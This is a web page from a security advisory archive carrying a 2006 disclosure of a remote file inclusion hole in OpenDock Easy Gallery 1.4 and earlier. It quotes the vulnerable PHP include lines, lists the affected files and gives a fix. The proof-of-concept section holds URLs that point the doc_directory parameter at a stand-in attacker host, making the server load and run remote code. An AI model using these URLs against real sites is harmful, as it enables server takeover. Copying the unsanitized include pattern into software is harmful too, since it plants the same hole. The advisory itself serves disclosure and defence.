SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

OpenDock Easy Gallery <=1.4 (doc_directory) Multiple Remote File Inclusion Vulnerability


Arrow  SecurityAlert : 1708
Arrow  CVE : CVE-2006-5241
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Dedi Dwianto a.k.a the_day
Arrow  Published : 13.10.2006

Arrow  Affected Software : OpenDock Easy Gallery <=1.4



Arrow  Advisory Content :  

ECHO_ADV_52$2006

------------------------------------------------------------------------
-----------------------
[ECHO_ADV_52$2006]OpenDock Easy Gallery <=1.4 (doc_directory) Multiple
Remote File Inclusion Vulnerability
------------------------------------------------------------------------
-----------------------

Author : Dedi Dwianto a.k.a the_day
Date Found : October, 09th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv52-theday-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
------------------------------------------------------------------------
---

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : OpenDock Easy Gallery
version : <=1.4
URL : http://web.opendock.net

------------------------------------------------------------------------
---

Vulnerability:
~~~~~~~~~~~~~~

In folder sw/lib_up_file/ I found vulnerability script file.php
--------------------------file.php--------------------------------------
-
....
<?

include $doc_directory.$path_sw."lib_up_file/lib_file.php";
include $doc_directory.$path_sw."lib_up_file/lib_form_file.php";
include $doc_directory.$path_sw."lib_up_file/lib_read_file.php";
include $doc_directory.$path_sw."lib_up_file/lib_page_file.php";
include $doc_directory.$path_sw."lib_up_file/find_file.php";
include $doc_directory.$path_sw."lib_up_file/down_stat.php";

...
----------------------------------------------------------

Input passed to the "$doc_directory" parameter in file.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files on Files:

sw/lib_user/find_user.php
sw/lib_user/lib_user.php
sw/lib_user/lib_form_user.php
sw/lib_user/user.php
sw/lib_session/find_session.php
sw/lib_session/session.php
sw/lib_comment/comment.php
sw/lib_comment/lib_comment.php
etc..

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[OpenDockEasyGallery_Path]/sw/lib_user/find_user.php?d
oc_directory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyGallery_Path]/sw/lib_user/user.php?doc_di
rectory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyGallery_Path]/sw/lib_comment/comment.php?
doc_directory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyGallery_Path]/sw/lib_session/session.php?
doc_directory=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $doc_directory on affected files.
- Turn off register_globals

Timeline:
~~~~~~~
09 - 10 - 2006 Bugs Found
09 - 10 - 2006 Vendor Contact
09 - 10 - Public Disclosure

------------------------------------------------------------------------
---

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,boom_3x,mathdule,angelia
~ newbie_hacker (at) yahoogroups (dot) com [email concealed]
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------

---
Contact:
~~~~
EcHo Research & Development Center
the_day[at]echo[dot]or[dot]id

-------------------------------- [ EOF ]----------------------------------





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

» PHP 5.3.0 5.2.11
   posix_mkfifo()
   open_basedir bypass

Copyright © SecurityReason.com. All Rights Reserved.